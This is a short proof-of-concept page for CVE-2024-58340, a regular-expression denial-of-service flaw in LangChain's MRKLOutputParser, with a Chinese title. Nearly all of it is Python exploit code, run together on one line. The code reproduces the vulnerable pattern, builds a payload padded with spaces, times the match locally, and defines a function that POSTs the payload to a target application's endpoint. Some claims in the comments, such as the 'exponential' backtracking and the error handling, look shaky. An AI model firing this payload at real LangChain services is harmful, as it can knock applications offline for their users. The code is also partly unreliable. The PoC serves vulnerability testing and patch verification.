CVE-2024-58340 LangChain MRKLOutputParser正则表达式拒绝服务漏洞

import re import time import requests # Vulnerable regex pattern from LangChain MRKLOutputParser # This pattern has catastrophic backtracking issues VULNERABLE_PATTERN = r'\s*\n?\s*Action:\s*(.+?)\n?\s*Action Input:\s*(.+?)(?:\n\s*\n?|\Z)' # PoC payload that triggers ReDoS # The many spaces cause the regex to backtrack exponentially def generate_redos_payload(num_spaces=100): return f"""Thought: Let me help you Action: calculator Action Input: 1 + 1{' ' * num_spaces}Extra text that doesn't match""" def test_redos(): payload = generate_redos_payload(100) print(f"Testing payload length: {len(payload)} characters") start_time = time.time() try: # This will cause significant delay due to ReDoS match = re.search(VULNERABLE_PATTERN, payload, re.DOTALL) elapsed = time.time() - start_time print(f"Match completed in {elapsed:.4f} seconds") except: elapsed = time.time() - start_time print(f"Regex timeout or error after {elapsed:.4f} seconds") # Simulate HTTP request to vulnerable endpoint def exploit_via_http(target_url): """ Exploit the ReDoS vulnerability via HTTP request In real attack scenario, this would be sent to a LangChain application that processes LLM output with MRKLOutputParser """ payload = generate_redos_payload(200) # Example POST request to vulnerable endpoint response = requests.post( target_url, json={'user_input': payload, 'use_parser': True}, timeout=30 ) return response if __name__ == "__main__": print("CVE-2024-58340 ReDoS PoC") print("=" * 50) test_redos()